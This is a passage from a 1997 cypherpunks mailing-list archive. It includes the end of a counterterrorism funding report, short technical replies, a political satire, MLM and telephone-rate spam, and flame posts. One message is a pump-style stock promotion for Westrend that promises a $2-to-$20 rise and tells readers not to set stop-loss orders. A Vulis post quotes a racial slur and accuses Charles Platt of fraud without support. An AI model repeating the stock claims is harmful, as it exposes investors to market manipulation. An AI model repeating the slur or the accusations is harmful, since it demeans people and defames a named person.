     Additional funding is needed to continue work on an indepth
     chemical characterization of foreign explosives and for
     continued development of contraband detection technology.
     Additional funding would accelerate development in a number
     of key technologies, particularly communications
     interception, tracking, covert communications, and
     surreptitious access. These technologies are critical to the
     support of counterterrorism investigations, especially WMD-
     related threats.

See the full report on specific threats and countermeasures:

   http://jya.com/cr022797.txt  (294K)

The report was mandated by the "The National Defense 
Authorization Act for Fiscal Year 1997":

   http://jya.com/ndatoc.htm  (70K toc; 1.5M full act)

It correlates with "The Antiterrorism Act of 1996":

   http://jya.com/pl104-132.txt  (358K)

The Senate "Intelligence Committee Report 1995-96":

   http://jya.com/sr105-1.htm  (135K)

The "Intelligence Authorization Act for 1997":

   http://jya.com/pl104-293.txt  (85K)

And "Executive Order 13010--Critical Infrastructure Protection":

   http://jya.com/eo13010.txt  (20K)






From ichudov at algebra.com  Fri Mar  7 19:31:36 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Fri, 7 Mar 1997 19:31:36 -0800 (PST)
Subject: toad
In-Reply-To: <3320B9C6.356F@gte.net>
Message-ID: <199703080302.VAA22908@manifold.algebra.com>


Dale Thorn wrote:
> Win95 will allow you to get to DOS in different ways, so that's not
> the problem totally, it's file formats and the like.  I can parse
> most text files at about the speed of a good compiler, so if I had
> a reliable interpreter engine for the bulk email that's contained in
> ...\mail\inbox, I might be able to extract some stats from the inbox
> data.  Does anyone have a short (number of lines) piece of source
> code that reduces DOS/Windows HTML mail data to individual messages
> and headers?

you can ftp dosperl.exe and do it very easily.

	- Igor.





From real at freenet.edmonton.ab.ca  Fri Mar  7 23:44:14 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 7 Mar 1997 23:44:14 -0800 (PST)
Subject: Hash functions
In-Reply-To: <199703080109.RAA12184@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970308004142.45530A-100000@fn2.freenet.edmonton.ab.ca>




On Fri, 7 Mar 1997, Anonymous wrote:

> The main difference between Tim May and shit is that 
> shit smells better.
> 
>    \
>   o/\_ Tim May
>  <\__,\
>   '\,  |
> 
Vulis stay off the list.






From toto at sk.sympatico.ca  Sat Mar  8 02:21:27 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 8 Mar 1997 02:21:27 -0800 (PST)
Subject: Implicit Social Contract
In-Reply-To: <Pine.SUN.3.91.970308001514.24212B-100000@panix.com>
Message-ID: <33213D33.596E@sk.sympatico.ca>


Charles Platt wrote:

> Since most other "freer" countries (financially speaking) are just as
> constitutionally impaired as Anguilla, I doubt that Tim May would find
> them very reassuring either (and neither do I). Thus I am unsurprised that
> he finds the USA more congenial, despite all its flaws; and the whole
> debate about what-you-can-really-do-in-Anguilla seems a bit pointless,
> because it really boils down to a personality thing. Some people like a
> loose, informal system. Some people feel insecure in such a system--which
> is one reason why I left my British homeland 27 years ago, where there is
> no formal constitutional protection for rights such as freedom of speech.

  I live in Righthandavia.
  It's a good life, here, by and large. There is little crime and
everyone
pretty much agrees on what is right and wrong, and conducts their life
accordingly. We're very civilized.

  We had a lot of left-handed citizens until the purge. Luckily, they
were
exposed by government investigators and the mass media before they could
do irrepairable harm to the country.
  For the most part, we lived our lives oblivious to the danger posed by
the left-handed people in our midst, often living right beside us, and
pretending to be just like us. After the congressional hearings,
however,
and with the new laws in place to deal with the scourge of these people,
they were ferreted out and dealt with severely.
  Many of the left-handers who escaped the purge went underground, and 
they remain as a threat to decent, law-abiding right-handers everywhere.
  We have passed strict laws to regulate personal behavior so that it
follows proper right-handed social etiquette, and those who object to
these reasonable protections are subjected to close scrutiny and watched
carefully for signs of left-handed leanings.
  Intitially, those who claimed ambidexterity were allowed a
chance to reform, but it quickly became apparent that these people could
not be rehabilitated and must be purged as well. It became clear that
there was no such thing as a person who was only 'a little bit' left-
handed.

  Decent, right-handed people who have nothing to hide have no reason to
object the the searches and the video monitoring of private and public
activity. 
  The only ones who complain are the fanatics and trouble-makers.

  After all, it's a good life, here, by and large. There is little crime
and everyone pretty much agrees on what is right and wrong, and conducts 
their life accordingly. 
  We're very civilized.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From lp33cd at hotmail.com  Sat Mar  8 04:03:19 1997
From: lp33cd at hotmail.com (Kevin)
Date: Sat, 8 Mar 1997 04:03:19 -0800 (PST)
Subject: Request for Permission
Message-ID: <199703081149.LAA27994@uk.pipeline.com>


May I have your permission to send you some FREE information on an outstanding MLM business Opportunity?

* ONE time $50 fee
* MUSIC goes MLM


******************************************************* 
Reply with "CDX" in the subject if you don't mind.
Thanks.
*******************************************************






From TIMOTHY at CCU1.AUCKLAND.AC.NZ  Sat Mar  8 05:20:38 1997
From: TIMOTHY at CCU1.AUCKLAND.AC.NZ (TIMOTHY at CCU1.AUCKLAND.AC.NZ)
Date: Sat, 8 Mar 1997 05:20:38 -0800 (PST)
Subject: $2 to $20 per share in less than a year.
Message-ID: <199703081320.GAA03042@earth.usa.net>


         $2 to $20 per share in a year! Yeah sure what a joke! That is probably 
what you are thinking. I would be thinking the same thing, if someone told me 
the same thing. But the facts speak for themselves and they reveal what will happen,
if you are or are not involved. 
         The company is Westrend on the Vancouver stock exchange. Ticker WRV
 and WTNGF. Alamo Logging Services Inc. ("Alamo")

The company announced that it intends to acquire Alamo upon terms yet to be
negotiated. Alamo has been in the oil & gas logging business in south central Texas
for over 4 years. It is been consistently profitable and has an excellent reputation
with several major operators in the area, including Texaco, UPRC, and Chessepeake.

As an oil & gas logging company, Alamo provides operators with a graphic "look" at
what they are drilling through. This is important as it advises drilling technicians
where they should focus their drilling efforts for optimum results. As a result of
being able to offer this service as part of its drilling package, Westrend is able to
offer operators a comprehensive approach for their drilling requirements.
They got ALAMO
Precision Horizontal, Inc. ("Precision")

The purchase of Precision was completed on June 24, 1996. From this point
forward, Precision's earnings will be consolidated into Westrend's financial
statements. Precision's unaudited financial statements show a profit of US $171,785
for the fiscal year ending January 31, 1996 and appraised assets of over
US $2,000,000. We estimate Precision's gross earnings will exceed $200,000 from
February 1, 1996 to June 30, 1996.

Precision specializes in the drilling of horizontal oil & gas wells using its own short
radius and conventional mid radius steering tools. Precision is able to provide
complete well drilling services to meet the demands of most operators.

Precision successfully completed the first of a series of "re-entry" wells in 1995 in
conjunction with the US Department of Energy and the University of Michigan. It is
being invited back to complete several wells in the fall in response to the very
favourable results from the first well.

Precision has several opportunities before it including several working interest and
retail wells in Oklahoma and Tennessee. These are currently being negotiated.
They got those too.

Adjusted Target: $8-10 - Time Frame: 6 months 
Adjusted Target: $15-20 - Time Frame: 12 months 

Dividends: .05 - .10 /share 

Get the scoop and the package: 1-888-784-6837 

Info: 
***** 
1) Press Release due this week. 
2) Press coverage in the Vancouver SUN 
3) Press coverage in the Financial Post 
4) Earnings could be as high as .60++ this year. 
5) Nasdaq Listing in July after dividends are announced. 
6) Large investor network plugged in last Thursday. 
7) Very near term $3-5. 
8) Approx. estimate shakeout at $2 is 500,000, this is 
needed. Stock must be cleaned out. Do not get shook 
out. 
9) Will probably trade $1.90 - $2.10 for a couple days. 
Average Up opportunity. 
10) Approx. 90% of stock is in friendly hands. 
Friendly = educated people in for long term. 


"Approximate CRASH time. WHY? STOP LOSS ORDERS. YOU SHOULD NEVER PUT IT 
A STOP LOSS ORDER. THE TRADERS ON THE FLOOR WILL PURPOSELY DIP IT BELOW 
YOUR STOP LOSS POINT AND YOU WILL DUMP YOUR SHARES KILLING THE MARKET 
WE HAVE WORKED SO HARD TO MAINTAIN. 

STOP LOSS ORDERS TELL ME YOU HAVE NO CONFIDENCE IN THE STOCK AND A SLIGHT 
PRICE SWING CAUSES YOU TO BAIL ON A STOCK HEADED FOR $10???? DOES THIS 
MAKE SENSE???? THIS IS NO B.S. STOCK PLAY. THIS IS NOT CRAP. THIS IS 
A COMPANY WITH EXCELLERATED EARNINGS AND UNLIMITTED POTENTIAL. YOU 
SHOULD SLEEP AT NIGHT AND HAVE NO WORRIES BUYING $3 STOCK. 

GREENLINE HAD STOP LOSS ORDERS IN AND DUMPED 50,000 SHARES. HELLO? 
I AM JUST HOPING IT WAS NOT ONE OF MY READERS. YOU HAVE JUST SOLD A 
HUGE POSITION IN AN AMAZING STOCK TO THE BOTTOM FEEDERS. 
50,000 SHARES X $10 IS $500,000 LATER THIS YEAR. STUPIDITY. "

"I have been told to tell you, and I totally agree, that IF YOU PEOPLE ARE 
SO NERVOUS ABOUT SLIGHT CORRECTIONS THE I SUGGEST YOU EXIT THE STOCK 
GRACEFULLY. I DO NOT WANT TO HOLD HANDS. I FEEL LIKE BANGING MY HEAD ON 
THE WALL WHEN I SEE THE CRAP THAT HAPPENED TODAY. THIS IS NOT A HYPED 
STOCK. THIS IS AN EARNINGS STOCK AND I CAN'T WAIT TILL IT GETS OFF THE 
VSE AND ONTO A RESPECTABLE EXCHANGE. 

The Press Release this morning: 
------------------------------- 

Whoever put the title on the release should be shot. The title makes 
it look negative but it is the most positive press release I have read 
in a long time. 

Basically reallocation of funds, more bang for the buck. Very positive 
making Magnum a total cash deal.... 

Earnings projected at .37/share!!! "

Westrend Natural Gas - Vancouver 
******************************** 

Oh ya, Westrend is also: WTNGF (symbol) on the pink sheets for you American 
people. 

There is concern about the eps. Even if you take th .28 a share and multiply 
it by an average of 15 PE ratio it is a $4.20 stock. The company is on a rapid 
pace, do you think they are just going to stop at .28?? Watch and see what 
happens. 

One more thing about EPS. Do you think Oil and Gas companies, or any other 
company pays the full tax??? Absolutely not. I personally think it is rediculous 
to post this number. You see profits can be used to drill oil wells, pay out 
dividends, and other things. I would bet all my shares in my account that 
Westrend won't pay the 23.2% tax stated in this news release. 

Press release, comments below: 
------------------------------ 

Westrend Natural Gas Inc 
WRN 
Shares issued 16041157 
1997-03-03 close $1.79 
Wednesday Mar 5 1997 
News Release 
Mr Mark Roberts reports 
This press release clarifies the financial projections stated by management in its 
March 3 1997 original press release. The projections were based on a number of 
assumptions and hypotheses which are detailed below. The company has 
provided the exchange with a projected consolidated statement of operations for 
the relevant 12 month period, together with a detailed breakdown of projected 
results for each corporate division. 
The time period covered by the projections is 12 months beginning May 1 1997. 
The rationale for the start date is that substantially all of the referenced trucks & 
equipment are expected to have been purchased and/or supplied by that date. 
This is consistent with the disclosure in the original press release wherein the 
company stated projections were based on the assumptions that purchases of 
equipment would be complete and the equipment would be fully utilized. 
The projections are designed to demonstrate earnings expected if the proceeds 
from the referenced private placement financings were applied in the manner 
stated and may not be appropriate for other purposes. 
Management confirms that the net revenue figures stated in the original press 
release for each of its corporate divisions were prepared on a before tax basis. 
Arising from the detailed review of the projections requested by the exchange, 
management have determined that the net revenue before tax figures should have 
been stated at a slightly higher level and are accordingly so stated below. 
Management have been advised by the exchange, in accordance with the 
requirements of Exchange Policy 7 and the adoption therein of the principles 
contained in the CICA Handbook, that earnings per share must be calculated on 
an after tax basis. Management was employing managerial accounting principles 
and hence the income tax consideration was omitted from such calculations. 
The diluted share total of 24.8 million shares was calculated by adding the current 
18,508,484 issued and outstanding shares, 1,538,461 deemed shares from the 
recently completed special warrant placement, 1,300,000 deemed shares from the 
$780,000 placement (which will be special warrants), 2,000,000 deemed shares 
from the $1.6 million placement (which will be special warrants) and 1,500,000 
shares which is the maximum issuable on the acquisition of Alamo. The share total 
does not include exercise of any outstanding share purchase warrants or stock 
options. There are no other proposed issuances of shares by Westrend. 
Accordingly, Westrend is re-stating the net income before tax numbers for each 
corporate division, net income before tax as a whole, net income before tax per 
share, and earnings per share numbers, as follows: 
All dollar amounts in this release are in US dollars unless stated otherwise. 

Projected net profit 
before income tax 

(a) Alamo Wireline $4,042,500 
(b) Precision Horizontal Inc 1,641,000 
(e) Taylor Rig 1,490,000 

Projected Net Income before 
tax (after deduction of 
parent company projected 
expenses of $600,000) $6,573,500 


Projected net income $5,048,448 

Net income before tax per 
share (on 24.8m shares) US$0.27/share 
C$0.37/share 
Consolidated earnings 
per share (after tax 
on 24.8m shares) US$0.20/share 
C$0.28/share 


The projections are designed to demonstrate earnings expected if the proceeds 
from the referenced C$780,000 and C$1.6 million private placement financings 
were applied in the manner stated. 
The projections have been prepared using assumptions that reflect Westrend's 
planned courses of action for the period covered given management's judgment as 
to the most probable set of economic conditions, together with one or more 
hypotheses that are assumptions which are consistent with the purpose of the 
information but are not necessarily the most probable in management's judgement. 
The overall assumptions are as follows: 
1. The parent company, Westrend, will have expenses of approximately 
US$600,000 during the period. 
2. The two recently announced private placements of C$780,000 and C$1.6 
million will have been closed well in advance of May 1 1997. 
3. As more specifically stated below, that the majority of the equipment purchases 
will have been completed by May 1 1997. 
4. As more specifically stated below, arising from the significantly increased 
demand for the services that Westrend is planning to be able to offer to the oil & 
gas industry, that reasonable utilization/service rates are obtainable. 
5. It is hypothesized that for the period, the existing strong demand for the types of 
services that Westrend plans to offer, will remain throughout. Management believe 
there is sufficient analysis published in trade publications to support this view. 
6. The US corporate tax rate for companies of the nature of Westrend and its 
subsidiaries in Texas is assumed to be 23.2%. 
7. All figures are estimated to be within plus or minus 15%. 
The specific assumptions and hypotheses for each corporate division are as 
follows: 
1. Taylor Rig 
The following assumptions and hypotheses have been made: 
a) 
Revenues are based on the assumption that 23 service rigs and 15 wireline 
trucks (two at cost to Alamo) will be sold in the 12 month period; 

Service Rigs 
b) 
It is assumed that on average the service rigs will sell at prices equal to 
$350,000 (all figures in US dollars) as being reflective of market; 

Wireline Trucks 
c) 
It is assumed that the average wireline truck sold will carry a sufficient number 
of options to be priced at $250,000 per truck as being reflective of market; 
and 
d) 
It is assumed that once Taylor Rig has filled Alamo's initial order, sales will run 
at one per month. 

2. Alamo Wireline 
The following hypotheses and assumptions have been made: 
a) 
Alamo will be operating seven wireline trucks during the period, each truck 
operating 20 days per month at between $3,300 and $3,900 per day. During 
the period, direct operating costs will be approximately $1,025,500, wages 
and salaries will be approximately $690,000, and equipment debt repayment 
will be approximately $71,000; 
b) 
Alamo will benefit from significant economies of scale by running seven trucks 
out of one main office, and a minor satellite Louisiana office, up from two 
trucks; 
c) 
Alamo will use the five additional trucks at lower cost and greater efficiency 
due to Alamo being able to purchase brand new equipment, and Alamo will 
benefit from its strategic alliance with Precision Horizontal Inc, a subsidiary of 
Westrend, since a package of services can he offered to customers, 
particularly MWD services in conjunction with wireline logging; 
d) 
Any slippage in net profits per truck are assumed to be picked up by a 
probable expansion of Alamo's fleet of trucks which can be funded out of 
projected cash flow; 
e) 
As stated in the original press release, Alamo is hiring experienced, 
well-connected wireline logging services salesmen who are assumed, along 
with Alamo's existing sales manager and possible further additions, to be 
capable of finding sufficient work immediately for the four new trucks to be 
delivered by Taylor Rig on May 1 1997; and 
f) 
The current expansion in oil & gas drilling activity which has engendered 
strong demand for wireline logging services is assumed to hold steady during 
the period. 

3. Precision Horizontal Inc 
The following hypotheses and assumptions have been made: 
a) 
Precision will be contracted to provide its horizontal drilling services at $7,000 
per day, 22 days per month, and incurring approximate operating costs for its 
horizontal drilling business of $719,000, and wages and salaries of $205,000; 
b) 
Precision will have acquired two MWD systems that will each be operated at 
$4,000 per day, 20 days per month, incurring approximate operating costs of 
$602,000, and wages and salaries of $205,000; 
c) 
It is assumed that the strong demand for MWD services will remain strong 
throughout the period; 
d) 
It is assumed that the second system of MWD equipment can be financed out 
of a combination of working capital and funds out of projected cash flow; 
e) 
The MWD business of Precision will benefit from its strategic alliance with 
Alamo since a package of services can be offered to customers; and 
f) 
A marketing program in conjunction with Alamo will be set up to secure a 
steady supply of business for both horizontal drilling and MWD; 
g) 
The current expansion in oil & gas drilling activity which has engendered 
strong demand for wireline logging services is assumed to hold steady during 
the period. 

Actual results achieved for the period covered will vary from the information 
presented and that variation may be material. 

--------------------------------------------------------------------------------- 

Very positive release. It should start trading tomorrow sometime. The VSE has 
been satisfied about the EPS projections. 

I remain bullish on this equity, I think at the rate they are expanding that 
$10 is in the cards this summer sometime. It seems like management is solid 
and the stock reflects that. 

When Westrend crashed on Monday it rebounded VERY quickly. This shows that the 
stock momentum is up. 

>From Monday's release: 

Westrend is in negotiations to raise up to $10 million at or above current market 
prices which would include the offering of the 3.2 million shares that had been 
previously reserved for issuance to the Magnum shareholders. Negotiations 
involve a series of brokerage houses out of New York (which brokerages would 
also provide sponsoring of Westrend if, as currently planned, it becomes listed in 
the US) and from a number of private investors. A meeting with these parties has 
been orchestrated by the president of Westrend, Mark Roberts, for this week in 
San Antonio, Texas, which will include representatives from each of Westrend's 
associated companies to make a detailed proposal for the use of the proposed 
financing proceeds. 

These meetings with NY brokers tells me that Westrend is going verticle. They are 
looking to expand at a rapid pace which requires financings and exposure. 
A US brokerage house would definately be a huge asset to this verticle climb. 

Tomorrow should be exiting. More Oil and Gas articles, thanks to my subscribers: 
********************************************************************************* 

The Wall Street Journal Interactive Edition�March 4, 1997 
Experts Say Capacity Shortage 
May Prop Up Crude-Oil Prices 

By PETER FRITSCH 
Staff Reporter of THE WALL STREET JOURNAL 
HOUSTON�Oil prices have plunged 20% this year, but some industry experts 
believe the downturn may be nearing an end. 
Many blame short-term factors, such as the mild winter weather and politics 
surrounding Iraq�s return to world oil markets, for the recent declines. 
Looking ahead, economists believe the market will be buoyed by a shortage of 
capacity in the oil-services industry. 
After a decade of slimming down, oil-service companies are having difficulty 
keeping up with the explosive growth in world-wide demand. The bottleneck is 
so severe that some economists say oil prices could remain relatively firm for 
the next several years even if there is a slowdown in the economy. 
Despite the recent fall in prices, the current benchmark price of $20.25 a 
barrel is still above year-earlier levels, when there was widespread talk of 
an imminent price collapse. Prices ended up surging in the second half of 1996, 
at one point reaching an 11-year high of about $28 a barrel (excluding the 
1990 price jolt during the Persian Gulf War). 
Reflecting the industry�s continued bullishness, Cambridge Energy Research 
Associates, a top oil consultant, recently lifted its forecast for oil�s 
minimum price over the next few years to $19 a barrel from $17 previously. 
The upward revision was echoed by the secretary general of the Organization 
of Petroleum Exporting Countries, Rilwanu Lukman, who recently said the era 
of oil for $15 to $20 a barrel has given way to $20 to $25 a barrel. 
An �Era of Higher Prices� 
"People say it feels like 1981 and worry that we�ll go bust again," says 
PanEnergy Corp. director Matthew Simmons. "But the era of higher prices 
has only just begun." 
If such industry watchers are right, oil prices could prove to be less 
sensitive than before to any economic downturn. That would be bad news for 
motorists and industries such as airlines that are heavily exposed to fuel 
costs. And if a long-awaited economic slowdown does materialize, stubbornly 
high oil prices could delay a recovery. 
Still, oil economists aren�t predicting sharply higher prices either, 
tempering any negative impact on the economy. "I don�t see a dramatic drag," 
says Donald Ratajczak, director of Georgia State University�s Economic 
Forecasting Center, who last week raised his 1997 outlook for oil prices to 
an average $21 a barrel. He figures that if the economy weathered last year�s 
high oil prices, it can weather this year�s too. 
What predictors of petroleum prices can�t know, says Mr. Ratajczak, is the 
extent to which sources like developing nations and North Sea production 
unexpectedly tip the balance, flooding the market with excess supply and 
driving prices lower. Indeed, Philip Verleger of the Charles River 
Associates consulting firm sees a potential supply imbalance pushing oil 
prices down to $18 a barrel this year. 
But there is plenty of reason to think that won�t happen easily. 
World-wide oil and gas production as a percentage of production capacity 
is currently at about 95%, a flat-out rate matched only during a major 
political event such as the Arab oil embargo and accompanied by short- 
lived price surges. Put simply, the industry can no longer keep up with 
demand by simply turning on old taps, as it has been doing over the past 
decade. 
Evidence of a Bottleneck 
Tapping new supplies, then, will be crucial in keeping up with demand. 
But there is mounting evidence of a bottleneck in oil services�the 
industry that supplies the tools needed to get the job done. Consider 
that today, for example, every deep-water drilling rig in the world is 
now at work. The eight rigs plying the Gulf of Mexico�s deep waters are 
about 45 short of the number needed to drill all the blocks companies 
have under lease and are promising to develop. Twenty companies 
manufactured drill pipe 15 years ago. Today there are five, with far 
less total capacity. 
The oil-service industry�s plate "is completely full," according to 
Federal Reserve Bank of Houston economist William Gilmer, adding that it 
will be difficult for producers to meet their ambitious exploration 
goals. Perhaps in a sign of things to come, Phillips Petroleum Co. said 
recently that it had to delay development of a major discovery in the 
North Sea for almost a year due to a lack of rigs. Adds Raymond Plank, 
chairman of oil and gas producer Apache Corp.: "We are extremely 
drilling-constrained." 
Assuming demand grows at the same rate as it has over the past five 
years, the International Energy Agency in Paris predicts the world will 
need at least another 1.8 million barrels a day of oil this year, a 
2.5% increase. That amount could be higher if developing-country demand 
continues its recent explosion. Figure into that equation the rate at 
which existing oil and gas fields are depleted, "and there�s no 
conceivable way to achieve even 25% of this additional supply without 
increasing oil-service activities at a dramatic rate over the next 
few years," says Mr. Simmons. 
More Volatility Expected 
The bottom line: The lack of infrastructure means supply will be hard- 
pressed to keep up with demand, providing a strong floor under oil 
prices and a weight on the economy. The lack of yesteryear�s large 
supply cushion also means oil prices will be more volatile, just as 
they proved to be last year when gasoline and heating-oil prices soared. 
"All you need is a refinery accident or a little war and you�ll have 
a major price blowout," says CERA managing director Joseph Stanislaw. 
Conversely, demand has been so healthy that when world output rose 
by 500,000 barrels a day last July alone, there was hardly a price 
ripple. 
As rosy as things might appear, though, this boom isn�t convulsing 
the nation like that of the early 1980s. Executives aren�t talking 
about $100-a-barrel oil at Houston�s Petroleum Club. Gone are the 
bumper stickers urging Texans to "Drive 75, Freeze a Yankee Alive." 
And because improved technology is doing a lot of the work of 
roughnecks these days, Northern job seekers aren�t rushing south 
for a piece of the action. 
Still, the boom is having positive ripple effects in U.S. energy 
centers such as Houston. Building permits in Houston surged 19% 
last year, and local employment growth outstripped that of Texas 
as a whole for the first time since 1990. Houston�s tony Ritz- 
Carlton will in April open its lobby dining room, popular with 
power breakfasters, to dinner at the request of business travelers. 
Local luxury-auto dealership Momentum BMW booked a 20% increase 
in sales last year, according to sales manager Louis Weibel. 
Employment and wages in the energy sector are also on an upswing. 
Baker Hughes Inc. of Houston will hire 500 new field workers and 
250 engineers this year, increases of 20% and 33% respectively, 
and is having a tough time finding them. Oil driller Rowan Cos. 
had to boost wages 10% last year to keep its workers from 
leaving. Rowan Chairman C.R. Palmer says he�s considering another 
5% to 10% pay increase this year. 
Such signs embolden even the most hardened veterans of the 1980s 
bust to tempt fate, it seems. "Here goes," says Mr. Palmer, 
clearing his throat. "Boom. There�s just no other word for it." 

I give full credit to: 

Copyright � 1997 Dow Jones & Company, Inc. All Rights Reserved. 

-------------------------------------------------------------------- 

Dow Jones News Service�March 4, 1997 
Oil-Services Stocks Rally As Optimism Returns 

By Loren Fox 
NEW YORK (Dow Jones)--Stocks of oil-service and drilling companies 
fairly gushed Tuesday, a sign that the recent selloff in the sector 
may be ending. 
Optimism returned to the market regarding companies that rent rigs, 
make drill bits, generate geological information and provide other 
oil-field services and equipment. 
Oil drillers were the best performing industry group Tuesday, as 
the Dow Jones index of six drillers rose 9.9% on a market 
capitalization weighted basis. Among the leaders were Global 
Marine Inc. (GLM), up 2 �, or 12.7%, at 20; and Ensco International 
Inc. (ESV), up 5, or 12%, at 46 �. 
Not far behind was the Dow Jones index of five oil-field equipment 
companies, which rose 4.5%. The leaders included Schlumberger Ltd. 
(SLB), the bellwether of the group, which was up 4 �, or 4.8%, at 
103 �; and Halliburton Co. (HAL), up 3 �, or 5.3%, at 65. 
One spark for Tuesday�s rally was the optimism ahead of Wednesday�s 
sale of exploration leases in the Gulf of Mexico. A record 1,790 
bids were tendered to the U.S. Department of the Interior for 
1,032 tracts. To many, that�s a signal that oil companies aren�t 
about to slow the pace of spending on exploration and development. 
��There aren�t enough rigs to go around,�� said Robert Trace, an 
analyst at Hanifen Imhoff Inc. 
Another factor setting the table for Tuesday�s feast was the fact 
that the stocks had fallen so far in recent weeks. After rising 
in January, investors took profits as good quarterly earnings 
reports rolled in. However, short-selling and momentum investors 
pulled the sector down further in February. At the same time, 
oil prices fell roughly 20% to $20.50 a barrel, which turned 
the mood overwhelmingly bearish. 
Before Tuesday�s rebound, Schlumberger had fallen 15% from its 
January high. Diamond Offshore Drilling Inc. 
(DO), the largest deep-water rig specialist, had fallen 25% 
from its January high. Tuesday, Diamond rose 5 3/8, 
��The typical oil services stock fell 25% to 30%, which is 
a healthy correction,�� said Kenneth Miller, executive vice p 
resident at Cambridge Investments Ltd., a money management firm. 
��There was so much negativism coming out of the street, it�s a 
sign that the group hit bottom.�� 
��It was absolutely overdone,�� said Yves Siegel, an analyst at 
Smith Barney Inc. 
In recent days, some analysts started touting the stocks as 
buying opportunities. 
��The stocks were selling at very low multiples,�� said Miller. 
Even fans of oilfield stocks feel the nosedive they took in 
recent weeks began as a logical correction. Many industry 
observers admitted stock prices got ahead of themselves in 
January. Good news from 1998 - let alone from 1997 - was already 
factored into the stocks. 
True, earnings are expected to continue rising for the group. 
For 1997, Schlumberger�s earnings are expected to be 26% higher 
than last year at $4.38 a share. For Global Marine, 1997 
earnings are expected to soar 111% to $1.33, then rise another 
39% in 1998 to $1.85. 
But while the stocks rose in January in advance of earnings 
reports, as they had in the last few quarters, this past quarter 
the sector rose faster. The key driver was momentum players, 
who buy stocks that are already rising. 
One fund manager said a classic example of momentum buying was 
Cliffs Drilling Co. (CLDR), a second-tier drilling contractor 
whose stock rocketed to a high of 79 � in January, or a 
whopping 38 times its projected 1997 earnings. 
Cliffs fell to 42 3/8 Monday, and rose 9.5% to close at 46 
Tuesday - 22 times its projected 1997 earnings of $2.08. Many 
analysts said the group has returned to more realistic 
multiples. Smith Barney�s Siegel said drillers should trade at 
12 to 15 times earnings. 
��I don�t necessarily think of these as growth companies,�� 
said Hanifen�s Trace, because in the end, they are based on 
the cycles of spending from oil companies. But Trace feels 
20 times earnings is reasonable given drillers� growth in the 
next few years. 
One result of January�s expansion of earnings multiples, however, 
was to make the recent selloff a more dramatic decline. The 
recent pullback in the stocks was very much influenced by the 
simultaneous drop in oil and gas prices, which exert a strong 
psychological effect on the sector. But observers emphasized 
that the drop in oil prices shouldn�t hurt the earnings of 
oil-services companies. 
It is a connection that isn�t well understood, analysts contended. 
The fact that crude oil fell below $21 a barrel doesn�t mean that 
oil companies started to cancel rig contracts or shut wells. Most 
oil companies, having been burned by the collapse in oil prices 
in the mid-1980s, budget their oil and gas projects so they make 
money if oil sells at $17 or $18 a barrel. As a result, current 
oil and gas prices are not a danger to oil services companies. 
��It�s actually better for the oil services stocks for oil to 
trade between $18 to $22 a barrel,�� said Siegel, because that�s 
a high enough price to encourage drilling while not so high that 
it hurts demand. 
Many analysts believe the oil-services industry is in the early 
stages of a multi-year upturn. That�s why they see the recent 
deflation of oil services stocks as buying opportunities. ��It�s 
a long-term story,�� Siegel said. 

Full credit to: 

Copyright � 1996 Dow Jones & Company, Inc. All Rights Reserved. 









From dlv at bwalk.dm.com  Sat Mar  8 05:55:54 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Mar 1997 05:55:54 -0800 (PST)
Subject: ULTRA HOWL !!
In-Reply-To: <3320CCC3.50F4@sk.sympatico.ca>
Message-ID: <9Fe93D145w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:

> wireinfo wrote:
> >
> > Toto wrote:
> >
> > >aga wrote:
> > >>
> > >> Hey guys, if you can do all of this live on the net
> > >> after the MMX Pentium Pro chips get out, I will make you all
> > >> rich.  The InterNet is SHOW BUSINESS !!
> > >
> > >  Could you make us as 'big' as say...John Holmes/Johnny Wadd?
> >
> > I refuse to submit to a penis reduction.
>
>   Especially after spending all of that money on the sex-change
> operation.

Can't you just fold it in half as many times as needed?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From David at telecom-plus.com  Sat Mar  8 08:45:40 1997
From: David at telecom-plus.com (TeleCommunications Plus..)
Date: Sat, 8 Mar 1997 08:45:40 -0800 (PST)
Subject: Guaranteed 10.9 cpm L.D. Rate- To All 50 States- 24 hrs- No Fees- NONE!
Message-ID: <199703081645.IAA02294@toad.com>








From dlv at bwalk.dm.com  Sat Mar  8 09:10:26 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Mar 1997 09:10:26 -0800 (PST)
Subject: Master of fellatio
In-Reply-To: <Pine.A41.3.95.970308081038.66302B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <XF093D148w165w@bwalk.dm.com>


> > > I see you write from England are you a nigger or paki or just a white
> > > pervert.

Paul and others,

I have a proposal: let's not waste our time responding to provocateurs
like Charles Platt and associated scum. Charles Platt is a crook, a liar,
and a crackpot. He nearly got arrested recently when he showed up drunk
at a public lecture in NYC and started shouting obscenities. He used to
spam Usenet with ads for his "cryocare" business (freezing dead bodies
so they can be revived later). Now that he's been hounded out of
sci.cryo by his former business partners and other people whom Platt
cheated out of tens of thousands of dollars, this self-proclaimed
"journalist" is trying to infest cypherpunks with his lies and spam.
Perhaps he hopes to make a few bucks peddling snake oil psudo-crypto
software for money launderers, in co-operation with Sameer Parekh. :-)

Let's just ignore him. Shunning was pretty effective on the SternFUD.
Cowardly sociopaths like Charles Platt feed on attention and are delighted
by our outrage. If he doesn't get any, he'll go away and look for
another forum to bother, like Declan's censored "anti-censorship" list.

We have better things to do (both crypto and not crypto related) than
responding to lying scum like Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From vince at offshore.com.ai  Sat Mar  8 10:35:12 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Sat, 8 Mar 1997 10:35:12 -0800 (PST)
Subject: Tim in Anguilla vs. USA
In-Reply-To: <Pine.LNX.3.95.970308082349.28404A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970308123954.29605A-100000@online.offshore.com.ai>



The comparison of Tim as a US citizen ranting in California to Tim as a
guest in Anguilla ranting in Anguilla is not really fair. 

If Tim were a French citizen in the USA, and ranting about crypto-anarchy
and destabilizing governments on street corners (or communism or
